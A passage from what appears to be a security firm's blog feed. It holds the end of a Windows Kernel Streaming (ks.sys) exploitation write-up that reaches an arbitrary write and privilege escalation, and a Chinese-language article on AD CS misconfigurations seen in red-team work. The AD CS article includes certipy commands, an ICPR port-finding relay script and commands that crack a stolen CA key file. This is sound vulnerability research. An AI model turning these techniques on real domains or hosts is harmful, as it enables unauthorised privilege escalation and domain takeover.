class="language-plaintext highlighter-rouge">SLIST_ENTRY</code></a>.</p> <p>As you can see in <code class="language-plaintext highlighter-rouge">ExAllocateFromNPagedLookasideList</code>:</p> <pre><code class="language-cpp=">PSLIST_ENTRY ExAllocateFromNPagedLookasideList(...){ ... ReturnChunk = ListHead-&gt;FreeChunk &amp; 0xFFFFFFFFFFFFFFF0; ListHead-&gt;FreeChunk = ReturnChunk-&gt;Next; ListHead-&gt;Depth-- ; ... } </code></pre> <p>The allocation logic aligns the returned chunk address to 0x10 bytes before returning it to the caller.</p> <pre><code class="language-cpp=">PSLIST_ENTRY ExFreeToNPagedLookasideList(...,PSLIST_ENTRY Chunk){ ... NextChunk = ListHead-&gt;FreeChunk &amp; 0xFFFFFFFFFFFFFFF0 Chunk-&gt;Next = NextChunk; ListHead-&gt;FreeChunk = Chunk; ListHead-&gt;Depth++; ... } </code></pre> <p>Similarly, when freeing memory back to the <code class="language-plaintext highlighter-rouge">LookasideList</code>, it also aligns the chunk. As shown in this code snippet above, the free routine aligns the first entry in the list</p> <blockquote> <p>Non–0x10-byte–aligned Frame Buffer + LookasideList</p> </blockquote> <p>So, what happens if a frame buffer that’s not 0x10-byte aligned is inserted into a <code class="language-plaintext highlighter-rouge">LookasideList</code>?</p> <h4 id="lets-play-the-funky-frame">Let’s play the funky frame.</h4> <p><img src="/assets/img/blog/20250517/56.png" alt="" /></p> <p>We write a script to list out all possible alignment mask and padding size. In this case, we’re using an alignment mask that results in 8 bytes of padding. Then, we configured the allocator to pre-allocate 4 frame buffer. As a result, each buffer will follow the same layout — and due to the 8-byte padding, the resulting frame buffer addresses all end with 0x08.</p> <p>The buffers will look like this one : <img src="/assets/img/blog/20250517/57.png" alt="" /></p> <p>After that, the allocator returns four buffers — A, B, C, and D — all of which have addresses ending in 0x8 due to the applied padding.</p> <p><img src="/assets/img/blog/20250517/58.png" alt="" /></p> <p>When these buffers are freed, <code class="language-plaintext highlighter-rouge">ks.sys</code> releases them one by one and inserts each of them into the <code class="language-plaintext highlighter-rouge">LookasideList</code> in order.</p> <p><img src="/assets/img/blog/20250517/59.png" alt="" /></p> <p>As illustrated in the diagram above, we first free <code class="language-plaintext highlighter-rouge">Frame A</code>, which gets inserted into the <code class="language-plaintext highlighter-rouge">LookasideList</code> without any issues.</p> <p><img src="/assets/img/blog/20250517/60.png" alt="" /></p> <p>When <code class="language-plaintext highlighter-rouge">Frame B</code> is freed, the allocator first aligns the address of the current list head (<code class="language-plaintext highlighter-rouge">Frame A</code>) to satisfy the 0x10-byte alignment requirement. <strong>It then stores this aligned address in the next pointer field of <code class="language-plaintext highlighter-rouge">Frame B</code></strong>, and inserts Frame B at the head of the <code class="language-plaintext highlighter-rouge">LookasideList</code>.</p> <p><img src="/assets/img/blog/20250517/61.png" alt="" /></p> <p>We continue by freeing <code class="language-plaintext highlighter-rouge">Frame C</code> and <code class="language-plaintext highlighter-rouge">Frame D</code>, both of which follow the same pattern as before. In the end, the <code class="language-plaintext highlighter-rouge">LookasideList</code> will look like the layout illustrated in the diagram above.</p> <blockquote> <p>Have you spotted the issue?</p> </blockquote> <p>The issue lies in the <strong>next pointer of <code class="language-plaintext highlighter-rouge">Frame D</code></strong>. Due to alignment, <strong>the next pointer ends up pointing to the start of the pool chunk, rather than the actual frame buffer</strong>.</p> <p><img src="/assets/img/blog/20250517/62.png" alt="" /></p> <p>As shown in the diagram above, you’ll notice that the next pointer of <code class="language-plaintext highlighter-rouge">Frame C</code> points to the padding area, which contains the stored padding size, not the expected list entry structure. When interpreted as a 64-bit value, this pointer becomes something like <code class="language-plaintext highlighter-rouge">0x800000000</code> — which falls within the user-space address range.</p> <p>Our plan is to allocate a memory page at <code class="language-plaintext highlighter-rouge">0x800000000</code>, allowing us to gain control over the <code class="language-plaintext highlighter-rouge">LookasideList</code>. We then configure the final node in the list to point to our desired target address. After that, when the device performs a read operation, <code class="language-plaintext highlighter-rouge">ks.sys</code> will write the incoming data into these frame buffers — including the one pointing to our chosen address.</p> <p><img src="/assets/img/blog/20250517/63.png" alt="" /></p> <blockquote> <p>In theory, this gives us an arbitrary memory write primitive, right?</p> </blockquote> <p>However, we still face the same limitation as before: we cannot control the content that gets written.</p> <p><img src="/assets/img/blog/20250517/64.png" alt="" /></p> <p>Additionally, we cannot use the <code class="language-plaintext highlighter-rouge">buffered flag</code> in this scenario, which means we’re limited to whatever data the device sends — making precise exploitation much more difficult.</p> <p>At this point, we were stuck again.</p> <p><img src="/assets/img/blog/20250517/65.png" alt="" /></p> <p>But after thinking it through once more, we found another way forward.</p> <h4 id="lets-make-the-lookasidelist-great-again">Let’s make the LookasideList great again</h4> <p><img src="/assets/img/blog/20250517/66.png" alt="" /></p> <p>As shown in the diagram above, we first construct a fake linked list in user space. The address <code class="language-plaintext highlighter-rouge">0x41410000</code> represents a user-controlled memory region, which we use to construct a valid <code class="language-plaintext highlighter-rouge">LookasideList</code> entry. Then, we proceed to allocate the frame buffer, which causes the allocator to traverse the fake list we’ve constructed.</p> <p><img src="/assets/img/blog/20250517/67.png" alt="" /></p> <p>In <code class="language-plaintext highlighter-rouge">ExAllocateFromNPagedLookasideList</code>, the allocator first aligns the chunk and then updates the list head. However, due to the misalignment, the alignment logic mistakenly <strong>interprets the start of <code class="language-plaintext highlighter-rouge">Frame</code> D as a next pointer</strong> — leading to incorrect traversal of the <code class="language-plaintext highlighter-rouge">LookasideList</code>.</p> <p><img src="/assets/img/blog/20250517/68.png" alt="" /></p> <p>Once the first chunk is popped from the list, the linked list transforms into the state shown in the diagram above. Next, we allocate all remaining chunks from the <code class="language-plaintext highlighter-rouge">LookasideList</code>. We also configure the allocator to use smaller frame buffers, which causes the webcam to <strong>enter a wait state — it no longer reads data from the device</strong>. Next, we trigger a STOP to release all of the frame buffers.</p> <p><img src="/assets/img/blog/20250517/69.png" alt="" /></p> <p>The frame buffer will appear as shown in the diagram above. At this point, <code class="language-plaintext highlighter-rouge">ks.sys</code> begins returning the buffers to the <code class="language-plaintext highlighter-rouge">LookasideList</code>, one by one. First, it releases <code class="language-plaintext highlighter-rouge">Frame D</code>. Then, it frees the malicious chunk at <code class="language-plaintext highlighter-rouge">0x800000000</code>. After that, it frees the fake chunk at <code class="language-plaintext highlighter-rouge">0x41410000</code>.</p> <p><img src="/assets/img/blog/20250517/70.png" alt="" /></p> <p>Once the three chunks have been released, the structure of the <code class="language-plaintext highlighter-rouge">LookasideList</code> transforms into the layout illustrated above. In the end, the allocator will release our target address.</p> <p><img src="/assets/img/blog/20250517/71.png" alt="" /></p> <p><strong>It will cause the next pointer of target address to point to <code class="language-plaintext highlighter-rouge">0x41410000</code></strong>. This value can be any user-space address controlled by the attacker.</p> <p><img src="/assets/img/blog/20250517/72.png" alt="" /></p> <p>In other words, we now have a powerful arbitrary memory write primitive.</p> <p>After gaining arbitrary memory write on Windows 23H2, we can use <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation">NtQuerySystemInformation</a> to leak the address of the <a href="https://www.vergiliusproject.com/kernels/x64/windows-11/23h2/_ETHREAD">thread object</a>. With that address, we <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">flip the necessary bit</a> in the token structure to escalate privileges. From here, we can apply any <a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">well-known EoP</a> technique to achieve full privilege escalation. By the way, once you’ve achieved arbitrary memory write, <strong>don’t forget to restore the <code class="language-plaintext highlighter-rouge">LookasideList</code></strong> to a valid state — otherwise, the system may crash during subsequent allocations.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/QSPbzE1KUbA?si=Dgow1vCMCaKASNra" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe> <p>We’ve successfully turned what seemed like a harmless bug into a serious vulnerability.</p> <h2 id="the-next--summary">The Next &amp; Summary</h2> <p>This bug patterns may not be limited to Kernel Streaming alone. By paying closer attention to MDL-related issues, you might be able to discover many more bugs in other driver. Kernel Streaming remains a fascinating research target and likely still harbors many undiscovered vulnerabilities beneath its surface.</p> <p>Gaining a deep understanding of Windows API implementations — and recognizing the risks of their misuse — is essential to uncovering new vulnerabilities and building effective exploitation techniques.</p> <blockquote> <p>Keep these patterns in mind — it might be your next vulnerability.</p> </blockquote> <h2 id="reference">Reference</h2> <ul> <li><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls">Using MDLs</a></li> <li><a href="https://conference.hitb.org/hitbsecconf2023hkt/materials/D2T1%20-%20Windows%20Kernel%20Security%20-%20A%20Deep%20Dive%20into%20Two%20Exploits%20Demonstrated%20at%20Pwn2Own%20-%20Thomas%20Imbert.pdf">Windows Kernel Security - A Deep Dive into Two Exploits Demonstrated at Pwn2Own</a></li> <li><a href="https://big5-sec.github.io/posts/CVE-2023-29360-analysis/">CVE-2023-29360 Analysis </a></li> <li><a href="https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernal_Slides.pdf">Easy Local Windows Kernel Exploitation </a></li> </ul> https://devco.re/blog/2025/05/17/frame-by-frame-kernel-streaming-keeps-giving-vulnerabilities-en/ https://devco.re/blog/2025/05/17/frame-by-frame-kernel-streaming-keeps-giving-vulnerabilities-en Sat, 17 May 2025 00:00:00 +0800 關於分分鐘拿下整個網域,你還疏忽了什麼? <p>本篇基於強者我隊長 vtim 在 DEVCORE Conference 2024 的 talk「<a href="https://conf.devco.re/2024/keynote/DEVCORE-CONFERENCE-2024-Vtim-Taking-down-AD-in-minutes-things-that-you-missed-about-AD.pdf">分分鐘拿下整個網域 - 關於 AD,你還疏忽了什麼?</a>」。</p> <h2 id="tldr">TL;DR</h2> <p>本文分享我們在實戰上遇到 AD CS 的經驗以及特別的案例,並介紹 AD CS 的基本概念,希望讓企業與對 Active Directory 安全有興趣的讀者了解其重要性和潛在的風險。</p> <ul> <li><a href="#什麼是-ad-cs">什麼是 AD CS?</a></li> <li><a href="#實戰統計">實戰統計</a></li> <li><a href="#一個漏洞的產生">一個漏洞的產生</a></li> <li><a href="#網域風險">網域風險</a></li> <li><a href="#案例分享">案例分享</a> <ul> <li><a href="#案例一esc8--esc3-like-escalation">案例一:ESC8 + ESC3-like Escalation</a></li> <li><a href="#案例二沒有-135-port-的-esc11">案例二:沒有 135 port 的 ESC11</a></li> <li><a href="#案例三撿到私鑰">案例三:撿到私鑰</a></li> </ul> </li> <li><a href="#時間軸">時間軸</a></li> <li><a href="#結語">結語</a></li> <li><a href="#references">References</a></li> </ul> <h2 id="什麼是-ad-cs">什麼是 AD CS?</h2> <p>在企業中,管理內網大量主機一直都是系統管理員的一大挑戰。Microsoft 提供了 Active Directory 這個解決方案 (以下簡稱為 AD),以階層式且集中化的架構來管理電腦、使用者及資源,它的方便性也因此成為許多企業愛用的內網管理工具。從 2017 年紅隊演練統計至今,我們約有 89.6% 的客戶使用 AD 作爲管理的解決方案。</p> <p>AD CS,全名為 Active Directory Certificate Services,是 Microsoft 提供在 AD 中作為可選用的 PKI 角色,用於憑證管理和頒發、身分驗證、加密傳輸等。AD CS 的 CA (Certificate Authority) 分為兩種模式:</p> <ul> <li>Standalone CA</li> <li>Enterprise CA -&gt; 本文要探討的配置</li> </ul> <p>Enterprise CA 模式會與 AD 整合,因此身分驗證及憑證權限等設定是和 AD 的身分綁定,也是企業通常採用的方式。</p> <p>談到 AD CS 的運作,憑證是透過憑證範本 (Certificate Templates) 來管理,它包含這張憑證的各種屬性如 Extended Key Usage (EKU)、加密方式、申請權限、有效時間等,企業可以根據需求建立不同的憑證範本。</p> <p>舉例來說,網域使用者申請 User 憑證要透過對 CA 發起 Certificate Signing Request (CSR),並指定 User 憑證範本,這個過程中 CA 會驗證使用者的身分及權限,若允許則根據憑證範本的設定頒發憑證,使用者便能以這張憑證進行身分驗證存取網域內的資源:</p> <p><img src="/assets/img/blog/20250410/1.png" alt="" /></p> <p>然而 AD CS 的設定容易造成疏失,弱點會發生在 <strong>CA 及憑證範本的設定</strong>上。若攻擊者成功利用這些漏洞,可能導致網域中的高權限使用者的憑證被攻擊者取得並驗證成為這些身分,而得以存取網域中的機密資訊。加上<strong>變更密碼並無法讓憑證失效</strong>,必須直接撤銷該憑證,若不知道根因攻擊者還是可以以該身分存取網域!</p> <p>甚至攻擊者可取得根憑證的私鑰,偽造任意身分的憑證,除了可存取所有網域資源外也非常難以偵測,還需要撤銷根憑證才有辦法避免再被偽造。這代表網域中的憑證皆會失效,後果不堪設想。</p> <p>2021 年 SpectreOps 團隊整理了<a href="https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf">白皮書 Certified Pre-Owned</a>,文中歸納了各種攻擊手法包括 (<code class="language-plaintext highlighter-rouge">x</code> 表示編號):</p> <ul> <li><code class="language-plaintext highlighter-rouge">THEFTx</code> - 憑證竊取</li> <li><code class="language-plaintext highlighter-rouge">PERSISTx</code> - 網域帳號權限維持</li> <li><code class="language-plaintext highlighter-rouge">DPERSISTx</code> - 網域權限維持</li> <li><code class="language-plaintext highlighter-rouge">ESCx</code> - 網域提權</li> </ul> <p>白皮書中也包括了防禦及偵測的建議,非常建議讀者閱讀~</p> <h2 id="實戰統計">實戰統計</h2> <p>截至 2025 年 1 月,我們發現在上百場紅隊演練中:</p> <ul> <li>86.1% 企業有安裝 AD CS</li> <li>這些企業中有 70.1% 存在不安全設定</li> <li>不安全設定中 90.9% 可利用</li> </ul> <p>總計來說,裝有 AD CS 的 AD 中高達 54.9% 左右的比例可以<strong>直接取得網域最高權限</strong>,整個利用過程<strong>僅需數分鐘</strong>:</p> <p><img src="/assets/img/blog/20250410/2.png" alt="" /></p> <p>在這之中可以細分利用的手法,其中以 ESC1 發生的頻率最高:</p> <p><img src="/assets/img/blog/20250410/3.png" alt="" /></p> <p>你可能想問真的這麼容易發生嗎?接下來我們來看看一個常見的情境可能造成這樣的弱點。</p> <h2 id="一個漏洞的產生">一個漏洞的產生</h2> <p>想像你是一位 AD 管理員,今天內網網站的管理者説:「ㄟ!最近被通報網站會跳出連線不安全的警告,不處理會被電啦,幫我<strong>弄個憑證</strong>處理⼀下好嗎?」</p> <p>「喔對了,⼀些比較重要的伺服器有<strong>雙向驗證</strong>的需求,也⿇煩幫處理⼀下」</p> <p>於是你開啟 MMC.exe 進入憑證範本設定頁面:</p> <p><img src="/assets/img/blog/20250410/4.png" alt="" /></p> <p>預設的 <code class="language-plaintext highlighter-rouge">Web Server</code> 憑證範本的版本是 1,可設定的選項很少。你複製出一張新的範本來操作,創建了一個 <code class="language-plaintext highlighter-rouge">CORP Web Server</code> 的憑證範本並設定好有效的時間:</p> <p><img src="/assets/img/blog/20250410/5.png" alt="" /></p> <p><img src="/assets/img/blog/20250410/a.png" style="display:block;margin-left: auto;margin-right:auto;zoom:50%;" /></p> <p>為了要讓使用者可自行申請,所以加上申請權限:</p> <p><img src="/assets/img/blog/20250410/b.png" style="display:block;margin-left: auto;margin-right:auto;zoom:50%;" /></p> <p>內網管理者說他需要雙向驗證,而原本的憑證範本的 EKU 只有 <code class="language-plaintext highlighter-rouge">Server Authentication</code>,那就打開 <code class="language-plaintext highlighter-rouge">Client Authentication</code> 沒錯吧:</p> <p><img src="/assets/img/blog/20250410/c.png" style="display:block;margin-left: auto;margin-right:auto;zoom:50%;" /></p> <p>參考一下網路上憑證的設定,可以看到像是微軟官方網站 microsoft.com 的憑證也有 <code class="language-plaintext highlighter-rouge">Client Authentication</code> 和 <code class="language-plaintext highlighter-rouge">Server Authentication</code> 等 EKU,看起來設定非常完美:</p> <p><img src="/assets/img/blog/20250410/6.png" alt="" /></p> <p>最後在 CA 啟用該憑證範本:</p> <p><img src="/assets/img/blog/20250410/7.png" alt="" /></p> <p>這樣普通的流程卻造成了 ESC1,也就是我們案例中最常見的 AD CS 提權弱點。下列是以 <a href="https://github.com/ly4k/Certipy">certipy</a> 工具檢查的結果,滿足下列條件:</p> <ol> <li>憑證範本啟用</li> <li>允許申請者指定 <code class="language-plaintext highlighter-rouge">Subject Alternative Name</code> (SAN) 欄位 -&gt; <code class="language-plaintext highlighter-rouge">EnrolleeSuppliesSubject</code></li> <li>憑證範本的 EKU 允許網域認證,例如 <code class="language-plaintext highlighter-rouge">Client Authentication</code>、<code class="language-plaintext highlighter-rouge">Smart Card Logon</code>、<code class="language-plaintext highlighter-rouge">Any Purpose</code>、<code class="language-plaintext highlighter-rouge">PKINIT Client Authentication</code> 或沒有 EKU</li> <li>不需管理者授權申請</li> <li>不需簽章</li> <li>允許低權限使用者申請</li> </ol> <p><img src="/assets/img/blog/20250410/8.png" alt="" /></p> <p>簡單來說,由於 AD CS 會以 SAN 欄位來驗證使用者身分,因此若可以任意申請該憑證且指定 SAN,加上該憑證允許對網域認證時,申請者便能<strong>假扮為任意網域使用者</strong>進行身分驗證來提權。</p> <p>這樣簡單的設定疏失也非常容易發生在 AD CS 的各種地方,例如 CA 安裝了 Web Enrollment 等 HTTP 服務時就預設存在弱點 (ESC8),也造成如此高比例安裝 AD CS 的企業存在這些不安全的設定。</p> <p>實戰上,我們也有遇到憑證範本只允許特定的群組申請,然而該群組卻沒有足夠的保護,導致攻擊者取得這些權限的成本不高,例如透過 Kerberoasting 等手法取得可申請憑證的帳號,<strong>僅僅多了一個步驟,同樣可達成網域接管</strong>;又或是開啟了管理員授權申請及拔掉了申請權限,但卻留下了寫入權限。在這個情境下,攻擊者仍可自行將權限寫入並移除管理者授權申請的設定,導致憑證範本仍可被利用來取得網域管理員權限。</p> <h2 id="網域風險">網域風險</h2> <p>多數企業會安裝一個網域樹系,再往下切分多個子網域進行管理,較少數會切出多個樹系,這樣的做法在資源存取上會有較多的限制,但同時提供了更好的保護得以將資源隔離,例如同個樹系下 CA 不需額外設定即可讓所有的網域使用該 PKI 架構,但也代表若該 CA 被入侵,將導致所有在該樹系的網域被攻擊者取得控制權。</p> <p>假設攻擊者取得任一個子網域的控制權限,對於整個樹系將會造成什麼樣的風險?通常我們會先利用 SID History Injection 等攻擊手法提權到根網域,但並不是每個網域環境皆可用,因為這個手法可能會被 SID Filtering 機制所阻擋。然而,若是企業中存在 AD CS,攻擊者可以修改 LDAP 的 Configuration Naming Context 中相關的 PKI 物件,進而影響整個樹系包含根網域,最終取得 Enterprise Admins 的憑證,詳細手法可參考 SpecterOps 團隊的技術文章 <a href="https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c">From DA to EA with ESC5</a>:</p> <p><img src="/assets/img/blog/20250410/9.png" alt="" /></p> <p>更驚人的是,在網域樹系<strong>沒有 AD CS</strong> 的情境下,攻擊者可自行安裝 AD CS 提權到根網域!實際上兩個手法的原理其實是相同的,因為涵蓋整個樹系的設定除了子網域會從根網域向下同步外,也會向上同步,影響到根網域的設定達到提權的效果。</p> <p>至於多個樹系的情境下,一個網域樹系的 CA 被入侵也有可能導致其他樹系的淪陷,但前提必須有額外設定讓其他網域樹系信任該 CA:</p> <p><img src="/assets/img/blog/20250410/10.png" alt="" /></p> <p>如果其他網域樹系信任被入侵的 CA 的話,攻擊者可以簽任意憑證存取這些樹系,突破樹系的 security boundary。</p> <p>對於 AD CS 的部署,理想情況應將 root CA 離線,並用 subordinate CA 來頒發憑證,也就是兩階層以上的架構如 <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786436(v=ws.11)">Securing PKI: Planning a CA Hierarchy</a> 文中所述。假設不幸的 subordinate CA 被入侵,還可透過撤銷其憑證來避免需要整個 PKI 重建的窘境。在多個樹系的架構,這樣的做法也可以讓損害不至於擴大到其他樹系。</p> <h2 id="案例分享">案例分享</h2> <p>在我們遇到的案例中,絕大多數情境都是可以直接利用,導致整個網域樹系在數分鐘內被取得最高權限。我們想分享幾個特別的例子;這些例子是已經經過一定程度的強化,無法直接利用或是不存在「定義」上的弱點,卻仍可被攻擊者間接利用,成功取得網域最高權限的案例。</p> <p>註:以下案例皆已去識別化。</p> <h3 id="案例一esc8--esc3-like-escalation">案例一:ESC8 + ESC3 like Escalation</h3> <p>在我們進入企業內網並取得網域帳號後,起手式當然先是 AD CS 的偵察,馬上掏出 certipy 工具:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find <span class="nt">-stdout</span> <span class="nt">-u</span> <span class="s1">'[email protected]'</span> </code></pre></div></div> <p>結果顯示 <code class="language-plaintext highlighter-rouge">corp-CA01-CA</code> 這個 CA 存在 ESC8 弱點,該弱點爲 CA 的 HTTP 服務可被 relay,攻擊者可透過 coerce 手法例如 PetitPotam 強制讓 Domain Controller 等重要主機主動連線到攻擊者控制的機器,進而 relay 到 CA 的 HTTP 服務來取得憑證。</p> <p><img src="/assets/img/blog/20250410/11.png" alt="" /></p> <p>但 Domain Controller 可申請的憑證範本像是 <code class="language-plaintext highlighter-rouge">DomainController</code> 或 <code class="language-plaintext highlighter-rouge">Machine</code> 範本都沒有啟用在存在 ESC8 的 <code class="language-plaintext highlighter-rouge">corp-CA01-CA</code> 上 (如下圖),因此需要其他方式進行利用:</p> <p><img src="/assets/img/blog/20250410/12.png" alt="" /></p> <p>這時候我們注意到可串連類似 ESC3 的利用鏈。ESC3 的弱點在於憑證範本具備 <code class="language-plaintext highlighter-rouge">Certificate Request Agent</code> EKU,當可成功申請這樣的憑證範本時,申請者可用申請到的憑證再以任意身分申請另一張憑證。從偵察結果,我們發現另一個網域 <code class="language-plaintext highlighter-rouge">child1.corp.local</code> 的一台機器 <code class="language-plaintext highlighter-rouge">ws01</code> 可申請下列 <code class="language-plaintext highlighter-rouge">Template1</code> 憑證,其滿足 Certified Pre-Owned 白皮書中除了申請權限之外的 ESC3 的第一張憑證範本條件:</p> <p><img src="/assets/img/blog/20250410/13.png" alt="" /></p> <p>透過 ESC8,我們利用 PetitPotam 手法讓 <code class="language-plaintext highlighter-rouge">ws01</code> 對我們控制的主機連線,進而 relay 到 <code class="language-plaintext highlighter-rouge">corp-CA01-CA</code> 申請 <code class="language-plaintext highlighter-rouge">Template1</code> 憑證。</p> <p>ESC3 第二張憑證範本的條件則可用另一個網域 <code class="language-plaintext highlighter-rouge">child2.corp.local</code> 的主機向 <code class="language-plaintext highlighter-rouge">corp-CA02-CA</code> 申請取得。因此在成功獲得 <code class="language-plaintext highlighter-rouge">Template1</code> 憑證後,藉由已控制的主機 <code class="language-plaintext highlighter-rouge">ws02.child2.corp.local</code> 以 Enterprise Admins 的身分申請 <code class="language-plaintext highlighter-rouge">Template2</code> 憑證範本,加上該憑證允許網域認證,確認獲得最高控制權。</p> <p><img src="/assets/img/blog/20250410/14.png" alt="" /></p> <p>你可能會想問為什麼不能直接申請 <code class="language-plaintext highlighter-rouge">Template2</code> 憑證,這是因為該憑證需要簽章,必須以帶有 <code class="language-plaintext highlighter-rouge">Certificate Request Agent</code> EKU 的憑證申請,也就是透過 ESC8 申請的 <code class="language-plaintext highlighter-rouge">Template1</code> 憑證。</p> <p>從這個案例中,雖然弱點在於 ESC8,且單獨的弱點無法造成太大影響,但我們仍可搭配其他憑證加上內網橫向移動獲得的成果,一步步地滿足條件,最終取得目標權限。</p> <h3 id="案例二沒有-135-port-的-esc11">案例二:沒有 135 port 的 ESC11</h3> <p>ESC11 與 ESC8 類似,皆為 relay 攻擊。差別在於 ESC8 relay 的目標是 CA 的 HTTP 服務,而 ESC11 則是因為用於憑證相關操作的 ICPR 協定沒有強制加密的設定造成,攻擊本身是 relay 到 RPC 的介面 (TCP 135 port 及相關的高 port 等)。</p> <p>執行滲透過程時,我們遇到 CA 的 135 port 無法連線,但 certipy 透過 445 port 存取 remote registry 可以確認存在 ESC11 弱點。然而正常 RPC 流程會透過 135 port 的 Endpoint Mapper 來確認 ICPR 所使用的動態 port 來進行溝通,下圖以 49783 port 為例:</p> <p><img src="/assets/img/blog/20250410/15.png" alt="" /></p> <p><strong>問題:能不能在不對 135 port 連線的狀況下,存取 ICPR 來成功 relay 請求進而取得憑證?</strong></p> <p>回頭檢視 RPC 機制,在進行 ICPR 溝通時,會需要先對這個介面做 binding 並帶上 ICPR 介面的 UUID。若該介面不是 ICPR 則 binding 會失敗。</p> <p>我們可以直接對所有可能且開啟的 RPC port 進行 ICPR binding,預設為範圍是 49152 ~ 65535,成功 binding 的話即為 ICPR 介面:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">impacket.dcerpc.v5</span> <span class="kn">import</span> <span class="n">transport</span> <span class="kn">from</span> <span class="nn">impacket.uuid</span> <span class="kn">import</span> <span class="n">uuidtup_to_bin</span> <span class="kn">from</span> <span class="nn">impacket.dcerpc.v5</span> <span class="kn">import</span> <span class="n">rpcrt</span> <span class="k">def</span> <span class="nf">icpr_check</span><span class="p">(</span><span class="n">target_ip</span><span class="p">,</span> <span class="n">port</span><span class="p">):</span> <span class="n">MSRPC_UUID_ICPR</span> <span class="o">=</span> <span class="n">uuidtup_to_bin</span><span class="p">((</span><span class="s">"91ae6020-9e3c-11cf-8d7c-00aa00c091be"</span><span class="p">,</span> <span class="s">"0.0"</span><span class="p">))</span> <span class="n">rpctransport</span> <span class="o">=</span> <span class="n">transport</span><span class="p">.</span><span class="n">DCERPCTransportFactory</span><span class="p">(</span><span class="sa">f</span><span class="s">"ncacn_ip_tcp:</span><span class="si">{</span><span class="n">target_ip</span><span class="si">}</span><span class="s">[</span><span class="si">{</span><span class="n">port</span><span class="si">}</span><span class="s">]"</span><span class="p">)</span> <span class="n">rpctransport</span><span class="p">.</span><span class="n">setRemoteHost</span><span class="p">(</span><span class="n">target_ip</span><span class="p">)</span> <span class="n">rpctransport</span><span class="p">.</span><span class="n">set_connect_timeout</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="n">dce</span> <span class="o">=</span> <span class="n">rpctransport</span><span class="p">.</span><span class="n">get_dce_rpc</span><span class="p">()</span> <span class="n">dce</span><span class="p">.</span><span class="n">set_auth_level</span><span class="p">(</span><span class="n">rpcrt</span><span class="p">.</span><span class="n">RPC_C_AUTHN_LEVEL_PKT_PRIVACY</span><span class="p">)</span> <span class="k">try</span><span class="p">:</span> <span class="n">dce</span><span class="p">.</span><span class="n">connect</span><span class="p">()</span> <span class="n">dce</span><span class="p">.</span><span class="n">bind</span><span class="p">(</span><span class="n">MSRPC_UUID_ICPR</span><span class="p">)</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">except</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> <span class="c1"># TODO: modify these variables </span><span class="n">ca_ip</span> <span class="o">=</span> <span class="s">"10.1.1.101"</span> <span class="n">open_ports</span> <span class="o">=</span> <span class="p">[</span><span class="mi">49664</span><span class="p">,</span> <span class="mi">49669</span><span class="p">,</span> <span class="mi">49670</span><span class="p">,</span> <span class="mi">49783</span><span class="p">,</span> <span class="mi">53661</span><span class="p">]</span> <span class="k">for</span> <span class="n">port</span> <span class="ow">in</span> <span class="n">open_ports</span><span class="p">:</span> <span class="k">print</span><span class="p">(</span><span class="n">port</span><span class="p">,</span> <span class="n">icpr_check</span><span class="p">(</span><span class="n">ca_ip</span><span class="p">,</span> <span class="n">port</span><span class="p">))</span> </code></pre></div></div> <p>最後透過修改 <a href="https://github.com/ly4k/Certipy/blob/4.8.2/certipy/commands/relay.py#L137">certipy 程式碼</a>到對應的 port 及 CA 的 IP 如下即可成功 relay 並取得憑證達成網域提權:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="bp">self</span><span class="p">.</span><span class="n">stringbinding</span> <span class="o">=</span> <span class="s">"ncacn_ip_tcp:&lt;CA_IP&gt;[&lt;ICPR_PORT&gt;]"</span> </code></pre></div></div> <p>修改動態取得對應 port 的程式邏輯如附圖:</p> <p><img src="/assets/img/blog/20250410/16.png" alt="" /></p> <h3 id="案例三撿到私鑰">案例三:撿到私鑰</h3> <p>我們也曾遇過幾次在橫向移動的過程撿到 PFX 或 P12 憑證檔案,它出現在公開的 SMB share 或特定我們有取得權限的主機檔案系統中。</p> <p>在一次紅隊演練取得外網進入點並建立 Tunnel 後,發現 Domain Controller 有多個額外的 SMB 分享資料夾且允許網域使用者存取。我們透過取得的帳號開始翻找各種可能的高價值檔案。在這之中,看到幾個與 CA 名稱相關的 P12 檔案。直覺和經驗告訴我們,這可能是非常關鍵的檔案,便在取得檔案後以 John the Ripper 破解憑證檔案的密碼:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pfx2john corp-CA01-CA.p12 <span class="o">&gt;</span> <span class="nb">hash </span>john <span class="nt">--wordlist</span><span class="o">=</span>WORDLIST <span class="nb">hash</span> </code></pre></div></div> <p><img src="/assets/img/blog/20250410/17.png" alt="" /></p> <p>由於密碼強度不足,在成功破解後便能檢視其中的憑證資訊:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl pkcs12 <span class="nt">-in</span> corp-CA01-CA.p12 <span class="nt">-nokeys</span> <span class="nt">-out</span> corp-CA01-CA.crt openssl x509 <span class="nt">-in</span> corp-CA01-CA.crt <span class="nt">-text</span> <span class="nt">-noout</span> </code></pre></div></div> <p>內容大致如下:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Certificate: Data: Version: 3 (0x2) Serial Number: 23:23:8f:98:da:e5:21:95:4d:59:49:af:23:b4:47:34 Signature Algorithm: sha256WithRSAEncryption Issuer: DC=local, DC=corp, CN=corp-CA01-CA Validity Not Before: Dec 3 09:34:02 